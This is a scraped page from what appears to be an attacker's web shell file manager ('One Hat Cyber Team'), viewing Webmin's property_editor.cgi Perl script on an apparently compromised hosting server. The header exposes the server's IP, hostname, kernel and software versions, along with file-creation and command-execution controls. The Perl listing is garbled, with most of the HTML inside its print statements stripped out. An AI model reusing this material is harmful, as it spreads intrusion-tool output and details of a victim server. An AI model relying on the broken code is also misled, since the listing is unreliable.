⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.133
Server IP:
185.119.109.197
Server:
Linux managedhosting.chostar.me 5.15.0-160-generic #170-Ubuntu SMP Wed Oct 1 10:06:56 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.1.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
webmin
/
smf
/
View File Name :
property_editor.cgi
#!/usr/bin/perl # property_editor.cgi # Display a list of properties for property group for fmri require './smf-lib.pl'; &ReadParse(); &ui_print_header(undef, $text{'property_editor_title'}, ""); # get instance fmri if (defined($in{'fmri'})) { $fmri = $in{'fmri'}; # remove quotes... $fmri =~ /\'([^\']*)\'/; $fmri = $1; if ($fmri =~ /(svc:\/[^:]*):(.*)/) { $svc = $1; $inst = $2; } else { &error("Invalid fmri: instance must be specified!"); } } else { &error("No fmri supplied to property editor!"); } if (defined($in{'sinst'})) { $sinst = "$in{'sinst'}"; $entity = ($sinst eq "service") ? "$svc" : "$svc:$inst"; } else { &error("Service/Instance level not specified for property editor!"); } if (defined($in{'pgroup'})) { $pgroup = $in{'pgroup'}; } else { &error("No property group supplied to property editor!"); } # deal with add/deletion/update of properties first. this way # prop list will show changes... if ((defined($in{'add'})) && (defined($in{'addname'})) && (defined($in{'addtype'})) && (defined($in{'addvalue'}))) { $addname = "$in{'addname'}"; $addtype = "$in{'addtype'}"; $addvalue = "$in{'addvalue'}"; if (($addname =~ /.+/) && ($addtype =~ /.+/) && ($addvalue =~ /.+/)) { &svc_setprop("$svc", "$sinst", "$pgroup", "$addname", "$addtype", "$addvalue"); } } if (defined($in{'remove'})) { # get remove prop list @remove_props = split(/\0/, $in{'applyto'}); foreach $rp (@remove_props) { &svc_delprop("$svc", "$sinst", "$pgroup", "$rp"); } } @prop_listing = &svc_listprop("$svc", "$sinst", $pgroup); # need prop listing to match against values for update. if we change # anything, we`ll regenerate the listing... $regenerate_listing = 0; if (defined($in{'update'})) { # update each prop in listing with new value foreach $prop (@prop_listing) { $prop_name = $prop->{'prop_name'}; $prop_type = $prop->{'prop_type'}; if (defined($in{"$prop_name/$prop_type"})) { $prop_value = $in{"$prop_name/$prop_type"}; &svc_setprop("$svc", "$sinst", "$pgroup", "$prop_name", "$prop_type", "$prop_value"); $regenerate_listing = 1; } } } if ($regenerate_listing == 1) { @prop_listing = &svc_listprop("$svc", "$sinst", $pgroup); } print "
"; &text_and_whats_this("property_editor_detail"); print " : $entity/$pgroup
\n"; print "
\n"; # add prop table first... print "
$text{'property_editor_addprop'}
\n"; print "
"; print "
$text{'property_editor_addname'}
\n"; print "
$text{'property_editor_addtype'}
\n"; print "
$text{'property_editor_addvalue'}
\n"; print "
\n"; print "
\n"; print "
\n"; &print_selection("addtype", "", \@propval_type_values); print "
\n"; print "
\n"; print "
\n"; print "
"; print "
\n"; print "
\n"; print "
\n"; print "
\n"; print "
$text{'property_editor_apply'}
: "; print "
\n"; print "
\n"; print "
\n"; print "
\n"; print "
$text{'property_editor_select'}
\n"; print "
$text{'property_editor_prop_name'}
\n"; print "
$text{'property_editor_prop_type'}
\n"; print "
$text{'property_editor_prop_value'}
\n"; foreach $prop (@prop_listing) { print "
"; $name = $prop->{'prop_name'}; $type = $prop->{'prop_type'}; $value = $prop->{'prop_value'}; print "
\n"; print "
"; print "
\n"; print "
$name
\n"; print "
$type
\n"; print "
\n"; print "
\n"; } print "
\n"; print "
"; print "
\n"; print "
\n"; &print_cmds_run(); &ui_print_footer("property_group_editor.cgi?fmri='$fmri'", $text{'property_editor_back'});